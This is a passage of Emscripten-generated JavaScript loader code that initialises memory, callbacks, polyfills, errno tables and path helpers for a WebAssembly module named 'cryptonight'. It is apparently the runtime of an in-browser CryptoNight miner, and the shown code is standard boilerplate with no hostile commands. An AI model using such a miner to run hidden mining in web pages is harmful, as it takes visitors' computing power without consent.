  907. var TOTAL_MEMORY = Module["TOTAL_MEMORY"] || 16777216;
  908. if (TOTAL_MEMORY < TOTAL_STACK) Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")");
  909. if (Module["buffer"]) {
  910. buffer = Module["buffer"]
  911. } else {
  912. if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") {
  913. Module["wasmMemory"] = new WebAssembly.Memory({
  914. "initial": TOTAL_MEMORY / WASM_PAGE_SIZE,
  915. "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE
  916. });
  917. buffer = Module["wasmMemory"].buffer
  918. } else {
  919. buffer = new ArrayBuffer(TOTAL_MEMORY)
  920. }
  921. }
  922. updateGlobalBufferViews();
  923.  
  924. function getTotalMemory() {
  925. return TOTAL_MEMORY
  926. }
  927. HEAP32[0] = 1668509029;
  928. HEAP16[1] = 25459;
  929. if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99) throw "Runtime error: expected the system to be little-endian!";
  930. Module["HEAP"] = HEAP;
  931. Module["buffer"] = buffer;
  932. Module["HEAP8"] = HEAP8;
  933. Module["HEAP16"] = HEAP16;
  934. Module["HEAP32"] = HEAP32;
  935. Module["HEAPU8"] = HEAPU8;
  936. Module["HEAPU16"] = HEAPU16;
  937. Module["HEAPU32"] = HEAPU32;
  938. Module["HEAPF32"] = HEAPF32;
  939. Module["HEAPF64"] = HEAPF64;
  940.  
  941. function callRuntimeCallbacks(callbacks) {
  942. while (callbacks.length > 0) {
  943. var callback = callbacks.shift();
  944. if (typeof callback == "function") {
  945. callback();
  946. continue
  947. }
  948. var func = callback.func;
  949. if (typeof func === "number") {
  950. if (callback.arg === undefined) {
  951. Module["dynCall_v"](func)
  952. } else {
  953. Module["dynCall_vi"](func, callback.arg)
  954. }
  955. } else {
  956. func(callback.arg === undefined ? null : callback.arg)
  957. }
  958. }
  959. }
  960. var __ATPRERUN__ = [];
  961. var __ATINIT__ = [];
  962. var __ATMAIN__ = [];
  963. var __ATEXIT__ = [];
  964. var __ATPOSTRUN__ = [];
  965. var runtimeInitialized = false;
  966. var runtimeExited = false;
  967.  
  968. function preRun() {
  969. if (Module["preRun"]) {
  970. if (typeof Module["preRun"] == "function") Module["preRun"] = [Module["preRun"]];
  971. while (Module["preRun"].length) {
  972. addOnPreRun(Module["preRun"].shift())
  973. }
  974. }
  975. callRuntimeCallbacks(__ATPRERUN__)
  976. }
  977.  
  978. function ensureInitRuntime() {
  979. if (runtimeInitialized) return;
  980. runtimeInitialized = true;
  981. callRuntimeCallbacks(__ATINIT__)
  982. }
  983.  
  984. function preMain() {
  985. callRuntimeCallbacks(__ATMAIN__)
  986. }
  987.  
  988. function exitRuntime() {
  989. callRuntimeCallbacks(__ATEXIT__);
  990. runtimeExited = true
  991. }
  992.  
  993. function postRun() {
  994. if (Module["postRun"]) {
  995. if (typeof Module["postRun"] == "function") Module["postRun"] = [Module["postRun"]];
  996. while (Module["postRun"].length) {
  997. addOnPostRun(Module["postRun"].shift())
  998. }
  999. }
  1000. callRuntimeCallbacks(__ATPOSTRUN__)
  1001. }
  1002.  
  1003. function addOnPreRun(cb) {
  1004. __ATPRERUN__.unshift(cb)
  1005. }
  1006. Module["addOnPreRun"] = addOnPreRun;
  1007.  
  1008. function addOnInit(cb) {
  1009. __ATINIT__.unshift(cb)
  1010. }
  1011. Module["addOnInit"] = addOnInit;
  1012.  
  1013. function addOnPreMain(cb) {
  1014. __ATMAIN__.unshift(cb)
  1015. }
  1016. Module["addOnPreMain"] = addOnPreMain;
  1017.  
  1018. function addOnExit(cb) {
  1019. __ATEXIT__.unshift(cb)
  1020. }
  1021. Module["addOnExit"] = addOnExit;
  1022.  
  1023. function addOnPostRun(cb) {
  1024. __ATPOSTRUN__.unshift(cb)
  1025. }
  1026. Module["addOnPostRun"] = addOnPostRun;
  1027.  
  1028. function intArrayFromString(stringy, dontAddNull, length) {
  1029. var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1;
  1030. var u8array = new Array(len);
  1031. var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length);
  1032. if (dontAddNull) u8array.length = numBytesWritten;
  1033. return u8array
  1034. }
  1035. Module["intArrayFromString"] = intArrayFromString;
  1036.  
  1037. function intArrayToString(array) {
  1038. var ret = [];
  1039. for (var i = 0; i < array.length; i++) {
  1040. var chr = array[i];
  1041. if (chr > 255) {
  1042. chr &= 255
  1043. }
  1044. ret.push(String.fromCharCode(chr))
  1045. }
  1046. return ret.join("")
  1047. }
  1048. Module["intArrayToString"] = intArrayToString;
  1049.  
  1050. function writeStringToMemory(string, buffer, dontAddNull) {
  1051. Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
  1052. var lastChar, end;
  1053. if (dontAddNull) {
  1054. end = buffer + lengthBytesUTF8(string);
  1055. lastChar = HEAP8[end]
  1056. }
  1057. stringToUTF8(string, buffer, Infinity);
  1058. if (dontAddNull) HEAP8[end] = lastChar
  1059. }
  1060. Module["writeStringToMemory"] = writeStringToMemory;
  1061.  
  1062. function writeArrayToMemory(array, buffer) {
  1063. HEAP8.set(array, buffer)
  1064. }
  1065. Module["writeArrayToMemory"] = writeArrayToMemory;
  1066.  
  1067. function writeAsciiToMemory(str, buffer, dontAddNull) {
  1068. for (var i = 0; i < str.length; ++i) {
  1069. HEAP8[buffer++ >> 0] = str.charCodeAt(i)
  1070. }
  1071. if (!dontAddNull) HEAP8[buffer >> 0] = 0
  1072. }
  1073. Module["writeAsciiToMemory"] = writeAsciiToMemory;
  1074. if (!Math["imul"] || Math["imul"](4294967295, 5) !== -5) Math["imul"] = function imul(a, b) {
  1075. var ah = a >>> 16;
  1076. var al = a & 65535;
  1077. var bh = b >>> 16;
  1078. var bl = b & 65535;
  1079. return al * bl + (ah * bl + al * bh << 16) | 0
  1080. };
  1081. Math.imul = Math["imul"];
  1082. if (!Math["fround"]) {
  1083. var froundBuffer = new Float32Array(1);
  1084. Math["fround"] = (function(x) {
  1085. froundBuffer[0] = x;
  1086. return froundBuffer[0]
  1087. })
  1088. }
  1089. Math.fround = Math["fround"];
  1090. if (!Math["clz32"]) Math["clz32"] = (function(x) {
  1091. x = x >>> 0;
  1092. for (var i = 0; i < 32; i++) {
  1093. if (x & 1 << 31 - i) return i
  1094. }
  1095. return 32
  1096. });
  1097. Math.clz32 = Math["clz32"];
  1098. if (!Math["trunc"]) Math["trunc"] = (function(x) {
  1099. return x < 0 ? Math.ceil(x) : Math.floor(x)
  1100. });
  1101. Math.trunc = Math["trunc"];
  1102. var Math_abs = Math.abs;
  1103. var Math_cos = Math.cos;
  1104. var Math_sin = Math.sin;
  1105. var Math_tan = Math.tan;
  1106. var Math_acos = Math.acos;
  1107. var Math_asin = Math.asin;
  1108. var Math_atan = Math.atan;
  1109. var Math_atan2 = Math.atan2;
  1110. var Math_exp = Math.exp;
  1111. var Math_log = Math.log;
  1112. var Math_sqrt = Math.sqrt;
  1113. var Math_ceil = Math.ceil;
  1114. var Math_floor = Math.floor;
  1115. var Math_pow = Math.pow;
  1116. var Math_imul = Math.imul;
  1117. var Math_fround = Math.fround;
  1118. var Math_round = Math.round;
  1119. var Math_min = Math.min;
  1120. var Math_clz32 = Math.clz32;
  1121. var Math_trunc = Math.trunc;
  1122. var runDependencies = 0;
  1123. var runDependencyWatcher = null;
  1124. var dependenciesFulfilled = null;
  1125.  
  1126. function getUniqueRunDependency(id) {
  1127. return id
  1128. }
  1129.  
  1130. function addRunDependency(id) {
  1131. runDependencies++;
  1132. if (Module["monitorRunDependencies"]) {
  1133. Module["monitorRunDependencies"](runDependencies)
  1134. }
  1135. }
  1136. Module["addRunDependency"] = addRunDependency;
  1137.  
  1138. function removeRunDependency(id) {
  1139. runDependencies--;
  1140. if (Module["monitorRunDependencies"]) {
  1141. Module["monitorRunDependencies"](runDependencies)
  1142. }
  1143. if (runDependencies == 0) {
  1144. if (runDependencyWatcher !== null) {
  1145. clearInterval(runDependencyWatcher);
  1146. runDependencyWatcher = null
  1147. }
  1148. if (dependenciesFulfilled) {
  1149. var callback = dependenciesFulfilled;
  1150. dependenciesFulfilled = null;
  1151. callback()
  1152. }
  1153. }
  1154. }
  1155. Module["removeRunDependency"] = removeRunDependency;
  1156. Module["preloadedImages"] = {};
  1157. Module["preloadedAudios"] = {};
  1158. var memoryInitializer = null;
  1159.  
  1160. function integrateWasmJS(Module) {
  1161. var method = Module["wasmJSMethod"] || "native-wasm";
  1162. Module["wasmJSMethod"] = method;
  1163. var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
  1164. var wasmBinaryFile = Module["wasmBinaryFile"] || "bin.wasm";
  1165. var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
  1166. if (typeof Module["locateFile"] === "function") {
  1167. wasmTextFile = Module["locateFile"](wasmTextFile);
  1168. wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
  1169. asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
  1170. }
  1171. var wasmPageSize = 64 * 1024;
  1172. var asm2wasmImports = {
  1173. "f64-rem": (function(x, y) {
  1174. return x % y
  1175. }),
  1176. "f64-to-int": (function(x) {
  1177. return x | 0
  1178. }),
  1179. "i32s-div": (function(x, y) {
  1180. return (x | 0) / (y | 0) | 0
  1181. }),
  1182. "i32u-div": (function(x, y) {
  1183. return (x >>> 0) / (y >>> 0) >>> 0
  1184. }),
  1185. "i32s-rem": (function(x, y) {
  1186. return (x | 0) % (y | 0) | 0
  1187. }),
  1188. "i32u-rem": (function(x, y) {
  1189. return (x >>> 0) % (y >>> 0) >>> 0
  1190. }),
  1191. "debugger": (function() {
  1192. debugger
  1193. })
  1194. };
  1195. var info = {
  1196. "global": null,
  1197. "env": null,
  1198. "asm2wasm": asm2wasmImports,
  1199. "parent": Module
  1200. };
  1201. var exports = null;
  1202.  
  1203. function lookupImport(mod, base) {
  1204. var lookup = info;
  1205. if (mod.indexOf(".") < 0) {
  1206. lookup = (lookup || {})[mod]
  1207. } else {
  1208. var parts = mod.split(".");
  1209. lookup = (lookup || {})[parts[0]];
  1210. lookup = (lookup || {})[parts[1]]
  1211. }
  1212. if (base) {
  1213. lookup = (lookup || {})[base]
  1214. }
  1215. if (lookup === undefined) {
  1216. abort("bad lookupImport to (" + mod + ")." + base)
  1217. }
  1218. return lookup
  1219. }
  1220.  
  1221. function mergeMemory(newBuffer) {
  1222. var oldBuffer = Module["buffer"];
  1223. if (newBuffer.byteLength < oldBuffer.byteLength) {
  1224. Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")
  1225. }
  1226. var oldView = new Int8Array(oldBuffer);
  1227. var newView = new Int8Array(newBuffer);
  1228. if (!memoryInitializer) {
  1229. oldView.set(newView.subarray(Module["STATIC_BASE"], Module["STATIC_BASE"] + Module["STATIC_BUMP"]), Module["STATIC_BASE"])
  1230. }
  1231. newView.set(oldView);
  1232. updateGlobalBuffer(newBuffer);
  1233. updateGlobalBufferViews()
  1234. }
  1235. var WasmTypes = {
  1236. none: 0,
  1237. i32: 1,
  1238. i64: 2,
  1239. f32: 3,
  1240. f64: 4
  1241. };
  1242.  
  1243. function fixImports(imports) {
  1244. if (!0) return imports;
  1245. var ret = {};
  1246. for (var i in imports) {
  1247. var fixed = i;
  1248. if (fixed[0] == "_") fixed = fixed.substr(1);
  1249. ret[fixed] = imports[i]
  1250. }
  1251. return ret
  1252. }
  1253.  
  1254. function getBinary() {
  1255. try {
  1256. var binary;
  1257. if (Module["wasmBinary"]) {
  1258. binary = Module["wasmBinary"];
  1259. binary = new Uint8Array(binary)
  1260. } else if (Module["readBinary"]) {
  1261. binary = Module["readBinary"](wasmBinaryFile)
  1262. } else {
  1263. throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"
  1264. }
  1265. return binary
  1266. } catch (err) {
  1267. abort(err)
  1268. }
  1269. }
  1270.  
  1271. function getBinaryPromise() {
  1272. if (!Module["wasmBinary"] && typeof fetch === "function") {
  1273. return fetch(wasmBinaryFile, {
  1274. credentials: "same-origin"
  1275. }).then((function(response) {
  1276. if (!response["ok"]) {
  1277. throw "failed to load wasm binary file at '" + wasmBinaryFile + "'"
  1278. }
  1279. return response["arrayBuffer"]()
  1280. }))
  1281. }
  1282. return new Promise((function(resolve, reject) {
  1283. resolve(getBinary())
  1284. }))
  1285. }
  1286.  
  1287. function doNativeWasm(global, env, providedBuffer) {
  1288. if (typeof WebAssembly !== "object") {
  1289. Module["printErr"]("no native wasm support detected");
  1290. return false
  1291. }
  1292. if (!(Module["wasmMemory"] instanceof WebAssembly.Memory)) {
  1293. Module["printErr"]("no native wasm Memory in use");
  1294. return false
  1295. }
  1296. env["memory"] = Module["wasmMemory"];
  1297. info["global"] = {
  1298. "NaN": NaN,
  1299. "Infinity": Infinity
  1300. };
  1301. info["global.Math"] = global.Math;
  1302. info["env"] = env;
  1303.  
  1304. function receiveInstance(instance) {
  1305. exports = instance.exports;
  1306. if (exports.memory) mergeMemory(exports.memory);
  1307. Module["asm"] = exports;
  1308. Module["usingWasm"] = true;
  1309. removeRunDependency("wasm-instantiate")
  1310. }
  1311. addRunDependency("wasm-instantiate");
  1312. if (Module["instantiateWasm"]) {
  1313. try {
  1314. return Module["instantiateWasm"](info, receiveInstance)
  1315. } catch (e) {
  1316. Module["printErr"]("Module.instantiateWasm callback failed with error: " + e);
  1317. return false
  1318. }
  1319. }
  1320. getBinaryPromise().then((function(binary) {
  1321. return WebAssembly.instantiate(binary, info)
  1322. })).then((function(output) {
  1323. receiveInstance(output["instance"])
  1324. })).catch((function(reason) {
  1325. Module["printErr"]("failed to asynchronously prepare wasm: " + reason);
  1326. abort(reason)
  1327. }));
  1328. return {}
  1329. }
  1330. Module["asmPreload"] = Module["asm"];
  1331. var asmjsReallocBuffer = Module["reallocBuffer"];
  1332. var wasmReallocBuffer = (function(size) {
  1333. var PAGE_MULTIPLE = Module["usingWasm"] ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE;
  1334. size = alignUp(size, PAGE_MULTIPLE);
  1335. var old = Module["buffer"];
  1336. var oldSize = old.byteLength;
  1337. if (Module["usingWasm"]) {
  1338. try {
  1339. var result = Module["wasmMemory"].grow((size - oldSize) / wasmPageSize);
  1340. if (result !== (-1 | 0)) {
  1341. return Module["buffer"] = Module["wasmMemory"].buffer
  1342. } else {
  1343. return null
  1344. }
  1345. } catch (e) {
  1346. return null
  1347. }
  1348. } else {
  1349. exports["__growWasmMemory"]((size - oldSize) / wasmPageSize);
  1350. return Module["buffer"] !== old ? Module["buffer"] : null
  1351. }
  1352. });
  1353. Module["reallocBuffer"] = (function(size) {
  1354. if (finalMethod === "asmjs") {
  1355. return asmjsReallocBuffer(size)
  1356. } else {
  1357. return wasmReallocBuffer(size)
  1358. }
  1359. });
  1360. var finalMethod = "";
  1361. Module["asm"] = (function(global, env, providedBuffer) {
  1362. global = fixImports(global);
  1363. env = fixImports(env);
  1364. if (!env["table"]) {
  1365. var TABLE_SIZE = Module["wasmTableSize"];
  1366. if (TABLE_SIZE === undefined) TABLE_SIZE = 1024;
  1367. var MAX_TABLE_SIZE = Module["wasmMaxTableSize"];
  1368. if (typeof WebAssembly === "object" && typeof WebAssembly.Table === "function") {
  1369. if (MAX_TABLE_SIZE !== undefined) {
  1370. env["table"] = new WebAssembly.Table({
  1371. "initial": TABLE_SIZE,
  1372. "maximum": MAX_TABLE_SIZE,
  1373. "element": "anyfunc"
  1374. })
  1375. } else {
  1376. env["table"] = new WebAssembly.Table({
  1377. "initial": TABLE_SIZE,
  1378. element: "anyfunc"
  1379. })
  1380. }
  1381. } else {
  1382. env["table"] = new Array(TABLE_SIZE)
  1383. }
  1384. Module["wasmTable"] = env["table"]
  1385. }
  1386. if (!env["memoryBase"]) {
  1387. env["memoryBase"] = Module["STATIC_BASE"]
  1388. }
  1389. if (!env["tableBase"]) {
  1390. env["tableBase"] = 0
  1391. }
  1392. var exports;
  1393. exports = doNativeWasm(global, env, providedBuffer);
  1394. return exports
  1395. });
  1396. var methodHandler = Module["asm"]
  1397. }
  1398. integrateWasmJS(Module);
  1399. var ASM_CONSTS = [];
  1400. STATIC_BASE = Runtime.GLOBAL_BASE;
  1401. STATICTOP = STATIC_BASE + 12512;
  1402. __ATINIT__.push();
  1403. memoryInitializer = Module["wasmJSMethod"].indexOf("asmjs") >= 0 || Module["wasmJSMethod"].indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
  1404. var STATIC_BUMP = 12512;
  1405. Module["STATIC_BASE"] = STATIC_BASE;
  1406. Module["STATIC_BUMP"] = STATIC_BUMP;
  1407. var tempDoublePtr = STATICTOP;
  1408. STATICTOP += 16;
  1409.  
  1410. function ___assert_fail(condition, filename, line, func) {
  1411. ABORT = true;
  1412. throw "Assertion failed: " + Pointer_stringify(condition) + ", at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown function"] + " at " + stackTrace()
  1413. }
  1414. var PROCINFO = {
  1415. ppid: 1,
  1416. pid: 42,
  1417. sid: 42,
  1418. pgid: 42
  1419. };
  1420. var ERRNO_CODES = {
  1421. EPERM: 1,
  1422. ENOENT: 2,
  1423. ESRCH: 3,
  1424. EINTR: 4,
  1425. EIO: 5,
  1426. ENXIO: 6,
  1427. E2BIG: 7,
  1428. ENOEXEC: 8,
  1429. EBADF: 9,
  1430. ECHILD: 10,
  1431. EAGAIN: 11,
  1432. EWOULDBLOCK: 11,
  1433. ENOMEM: 12,
  1434. EACCES: 13,
  1435. EFAULT: 14,
  1436. ENOTBLK: 15,
  1437. EBUSY: 16,
  1438. EEXIST: 17,
  1439. EXDEV: 18,
  1440. ENODEV: 19,
  1441. ENOTDIR: 20,
  1442. EISDIR: 21,
  1443. EINVAL: 22,
  1444. ENFILE: 23,
  1445. EMFILE: 24,
  1446. ENOTTY: 25,
  1447. ETXTBSY: 26,
  1448. EFBIG: 27,
  1449. ENOSPC: 28,
  1450. ESPIPE: 29,
  1451. EROFS: 30,
  1452. EMLINK: 31,
  1453. EPIPE: 32,
  1454. EDOM: 33,
  1455. ERANGE: 34,
  1456. ENOMSG: 42,
  1457. EIDRM: 43,
  1458. ECHRNG: 44,
  1459. EL2NSYNC: 45,
  1460. EL3HLT: 46,
  1461. EL3RST: 47,
  1462. ELNRNG: 48,
  1463. EUNATCH: 49,
  1464. ENOCSI: 50,
  1465. EL2HLT: 51,
  1466. EDEADLK: 35,
  1467. ENOLCK: 37,
  1468. EBADE: 52,
  1469. EBADR: 53,
  1470. EXFULL: 54,
  1471. ENOANO: 55,
  1472. EBADRQC: 56,
  1473. EBADSLT: 57,
  1474. EDEADLOCK: 35,
  1475. EBFONT: 59,
  1476. ENOSTR: 60,
  1477. ENODATA: 61,
  1478. ETIME: 62,
  1479. ENOSR: 63,
  1480. ENONET: 64,
  1481. ENOPKG: 65,
  1482. EREMOTE: 66,
  1483. ENOLINK: 67,
  1484. EADV: 68,
  1485. ESRMNT: 69,
  1486. ECOMM: 70,
  1487. EPROTO: 71,
  1488. EMULTIHOP: 72,
  1489. EDOTDOT: 73,
  1490. EBADMSG: 74,
  1491. ENOTUNIQ: 76,
  1492. EBADFD: 77,
  1493. EREMCHG: 78,
  1494. ELIBACC: 79,
  1495. ELIBBAD: 80,
  1496. ELIBSCN: 81,
  1497. ELIBMAX: 82,
  1498. ELIBEXEC: 83,
  1499. ENOSYS: 38,
  1500. ENOTEMPTY: 39,
  1501. ENAMETOOLONG: 36,
  1502. ELOOP: 40,
  1503. EOPNOTSUPP: 95,
  1504. EPFNOSUPPORT: 96,
  1505. ECONNRESET: 104,
  1506. ENOBUFS: 105,
  1507. EAFNOSUPPORT: 97,
  1508. EPROTOTYPE: 91,
  1509. ENOTSOCK: 88,
  1510. ENOPROTOOPT: 92,
  1511. ESHUTDOWN: 108,
  1512. ECONNREFUSED: 111,
  1513. EADDRINUSE: 98,
  1514. ECONNABORTED: 103,
  1515. ENETUNREACH: 101,
  1516. ENETDOWN: 100,
  1517. ETIMEDOUT: 110,
  1518. EHOSTDOWN: 112,
  1519. EHOSTUNREACH: 113,
  1520. EINPROGRESS: 115,
  1521. EALREADY: 114,
  1522. EDESTADDRREQ: 89,
  1523. EMSGSIZE: 90,
  1524. EPROTONOSUPPORT: 93,
  1525. ESOCKTNOSUPPORT: 94,
  1526. EADDRNOTAVAIL: 99,
  1527. ENETRESET: 102,
  1528. EISCONN: 106,
  1529. ENOTCONN: 107,
  1530. ETOOMANYREFS: 109,
  1531. EUSERS: 87,
  1532. EDQUOT: 122,
  1533. ESTALE: 116,
  1534. ENOTSUP: 95,
  1535. ENOMEDIUM: 123,
  1536. EILSEQ: 84,
  1537. EOVERFLOW: 75,
  1538. ECANCELED: 125,
  1539. ENOTRECOVERABLE: 131,
  1540. EOWNERDEAD: 130,
  1541. ESTRPIPE: 86
  1542. };
  1543. var ERRNO_MESSAGES = {
  1544. 0: "Success",
  1545. 1: "Not super-user",
  1546. 2: "No such file or directory",
  1547. 3: "No such process",
  1548. 4: "Interrupted system call",
  1549. 5: "I/O error",
  1550. 6: "No such device or address",
  1551. 7: "Arg list too long",
  1552. 8: "Exec format error",
  1553. 9: "Bad file number",
  1554. 10: "No children",
  1555. 11: "No more processes",
  1556. 12: "Not enough core",
  1557. 13: "Permission denied",
  1558. 14: "Bad address",
  1559. 15: "Block device required",
  1560. 16: "Mount device busy",
  1561. 17: "File exists",
  1562. 18: "Cross-device link",
  1563. 19: "No such device",
  1564. 20: "Not a directory",
  1565. 21: "Is a directory",
  1566. 22: "Invalid argument",
  1567. 23: "Too many open files in system",
  1568. 24: "Too many open files",
  1569. 25: "Not a typewriter",
  1570. 26: "Text file busy",
  1571. 27: "File too large",
  1572. 28: "No space left on device",
  1573. 29: "Illegal seek",
  1574. 30: "Read only file system",
  1575. 31: "Too many links",
  1576. 32: "Broken pipe",
  1577. 33: "Math arg out of domain of func",
  1578. 34: "Math result not representable",
  1579. 35: "File locking deadlock error",
  1580. 36: "File or path name too long",
  1581. 37: "No record locks available",
  1582. 38: "Function not implemented",
  1583. 39: "Directory not empty",
  1584. 40: "Too many symbolic links",
  1585. 42: "No message of desired type",
  1586. 43: "Identifier removed",
  1587. 44: "Channel number out of range",
  1588. 45: "Level 2 not synchronized",
  1589. 46: "Level 3 halted",
  1590. 47: "Level 3 reset",
  1591. 48: "Link number out of range",
  1592. 49: "Protocol driver not attached",
  1593. 50: "No CSI structure available",
  1594. 51: "Level 2 halted",
  1595. 52: "Invalid exchange",
  1596. 53: "Invalid request descriptor",
  1597. 54: "Exchange full",
  1598. 55: "No anode",
  1599. 56: "Invalid request code",
  1600. 57: "Invalid slot",
  1601. 59: "Bad font file fmt",
  1602. 60: "Device not a stream",
  1603. 61: "No data (for no delay io)",
  1604. 62: "Timer expired",
  1605. 63: "Out of streams resources",
  1606. 64: "Machine is not on the network",
  1607. 65: "Package not installed",
  1608. 66: "The object is remote",
  1609. 67: "The link has been severed",
  1610. 68: "Advertise error",
  1611. 69: "Srmount error",
  1612. 70: "Communication error on send",
  1613. 71: "Protocol error",
  1614. 72: "Multihop attempted",
  1615. 73: "Cross mount point (not really error)",
  1616. 74: "Trying to read unreadable message",
  1617. 75: "Value too large for defined data type",
  1618. 76: "Given log. name not unique",
  1619. 77: "f.d. invalid for this operation",
  1620. 78: "Remote address changed",
  1621. 79: "Can access a needed shared lib",
  1622. 80: "Accessing a corrupted shared lib",
  1623. 81: ".lib section in a.out corrupted",
  1624. 82: "Attempting to link in too many libs",
  1625. 83: "Attempting to exec a shared library",
  1626. 84: "Illegal byte sequence",
  1627. 86: "Streams pipe error",
  1628. 87: "Too many users",
  1629. 88: "Socket operation on non-socket",
  1630. 89: "Destination address required",
  1631. 90: "Message too long",
  1632. 91: "Protocol wrong type for socket",
  1633. 92: "Protocol not available",
  1634. 93: "Unknown protocol",
  1635. 94: "Socket type not supported",
  1636. 95: "Not supported",
  1637. 96: "Protocol family not supported",
  1638. 97: "Address family not supported by protocol family",
  1639. 98: "Address already in use",
  1640. 99: "Address not available",
  1641. 100: "Network interface is not configured",
  1642. 101: "Network is unreachable",
  1643. 102: "Connection reset by network",
  1644. 103: "Connection aborted",
  1645. 104: "Connection reset by peer",
  1646. 105: "No buffer space available",
  1647. 106: "Socket is already connected",
  1648. 107: "Socket is not connected",
  1649. 108: "Can't send after socket shutdown",
  1650. 109: "Too many references",
  1651. 110: "Connection timed out",
  1652. 111: "Connection refused",
  1653. 112: "Host is down",
  1654. 113: "Host is unreachable",
  1655. 114: "Socket already connected",
  1656. 115: "Connection already in progress",
  1657. 116: "Stale file handle",
  1658. 122: "Quota exceeded",
  1659. 123: "No medium (in tape drive)",
  1660. 125: "Operation canceled",
  1661. 130: "Previous owner died",
  1662. 131: "State not recoverable"
  1663. };
  1664.  
  1665. function ___setErrNo(value) {
  1666. if (Module["___errno_location"]) HEAP32[Module["___errno_location"]() >> 2] = value;
  1667. return value
  1668. }
  1669. var PATH = {
  1670. splitPath: (function(filename) {
  1671. var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
  1672. return splitPathRe.exec(filename).slice(1)
  1673. }),
  1674. normalizeArray: (function(parts, allowAboveRoot) {
  1675. var up = 0;
  1676. for (var i = parts.length - 1; i >= 0; i--) {
  1677. var last = parts[i];
  1678. if (last === ".") {
  1679. parts.splice(i, 1)
  1680. } else if (last === "..") {
  1681. parts.splice(i, 1);
  1682. up++
  1683. } else if (up) {
  1684. parts.splice(i, 1);
  1685. up--
  1686. }
  1687. }
  1688. if (allowAboveRoot) {
  1689. for (; up; up--) {
  1690. parts.unshift("..")
  1691. }
  1692. }
  1693. return parts
  1694. }),
  1695. normalize: (function(path) {
  1696. var isAbsolute = path.charAt(0) === "/",
  1697. trailingSlash = path.substr(-1) === "/";
  1698. path = PATH.normalizeArray(path.split("/").filter((function(p) {
  1699. return !!p
  1700. })), !isAbsolute).join("/");
  1701. if (!path && !isAbsolute) {
  1702. path = "."
  1703. }
  1704. if (path && trailingSlash) {
  1705. path += "/"
  1706. }
  1707. return (isAbsolute ? "/" : "") + path
  1708. }),
  1709. dirname: (function(path) {
  1710. var result = PATH.splitPath(path),
  1711. root = result[0],
  1712. dir = result[1];
  1713. if (!root && !dir) {
  1714. return "."
  1715. }
  1716. if (dir) {
  1717. dir = dir.substr(0, dir.length - 1)
  1718. }
  1719. return root + dir
  1720. }),
  1721. basename: (function(path) {
  1722. if (path === "/") return "/";
  1723. var lastSlash = path.lastIndexOf("/");
  1724. if (lastSlash === -1) return path;
  1725. return path.substr(lastSlash + 1)
  1726. }),
  1727. extname: (function(path) {
  1728. return PATH.splitPath(path)[3]
  1729. }),
  1730. join: (function() {
  1731. var paths = Array.prototype.slice.call(arguments, 0);
  1732. return PATH.normalize(paths.join("/"))
  1733. }),
  1734. join2: (function(l, r) {
  1735. return PATH.normalize(l + "/" + r)
  1736. }),
  1737. resolve: (function() {
  1738. var resolvedPath = "",
  1739. resolvedAbsolute = false;
  1740. for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
  1741. var path = i >= 0 ? arguments[i] : FS.cwd();
  1742. if (typeof path !== "string") {
  1743. throw new TypeError("Arguments to path.resolve must be strings")
  1744. } else if (!path) {
  1745. return ""
  1746. }
  1747. resolvedPath = path + "/" + resolvedPath;
  1748. resolvedAbsolute = path.charAt(0) === "/"
  1749. }
  1750. resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) {
  1751. return !!p
  1752. })), !resolvedAbsolute).join("/");
  1753. return (resolvedAbsolute ? "/" : "") + resolvedPath || "."
  1754. }),
  1755. relative: (function(from, to) {
  1756. from = PATH.resolve(from).substr(1);
  1757. to = PATH.resolve(to).substr(1);
  1758.  
  1759. function trim(arr) {
  1760. var start = 0;
  1761. for (; start < arr.length; start++) {
  1762. if (arr[start] !== "") break
  1763. }
  1764. var end = arr.length - 1;
  1765. for (; end >= 0; end--) {
  1766. if (arr[end] !== "") break
  1767. }
  1768. if (start > end) return [];
  1769. return arr.slice(start, end - start + 1)
  1770. }
  1771. var fromParts = trim(from.split("/"));
  1772. var toParts = trim(to.split("/"));
  1773. var length = Math.min(fromParts.length, toParts.length);
  1774. var samePartsLength = length;
  1775. for (var i = 0; i < length; i++) {
  1776. if (fromParts[i] !== toParts[i]) {
  1777. samePartsLength = i;
  1778. break
  1779. }
  1780. }
  1781. var outputParts = [];
  1782. for (var i = samePartsLength; i < fromParts.length; i++) {
  1783. outputParts.push("..")
  1784. }
  1785. outputParts = outputParts.concat(toParts.slice(samePartsLength));
  1786. return outputParts.join("/")
  1787. })
  1788. };
  1789. var TTY = {
  1790. ttys: [],
  1791. init: (function() {}),
  1792. shutdown: (function() {}),
  1793. register: (function(dev, ops) {
  1794. TTY.ttys[dev] = {
  1795. input: [],
  1796. output: [],
  1797. ops: ops
  1798. };
  1799. FS.registerDevice(dev, TTY.stream_ops)
  1800. }),
  1801. stream_ops: {
  1802. open: (function(stream) {
  1803. var tty = TTY.ttys[stream.node.rdev];
  1804. if (!tty) {
  1805. throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  1806. }
  1807. stream.tty = tty;
  1808. stream.seekable = false
  1809. }),
  1810. close: (function(stream) {
  1811. stream.tty.ops.flush(stream.tty)
  1812. }),
  1813. flush: (function(stream) {
  1814. stream.tty.ops.flush(stream.tty)
  1815. }),
  1816. read: (function(stream, buffer, offset, length, pos) {
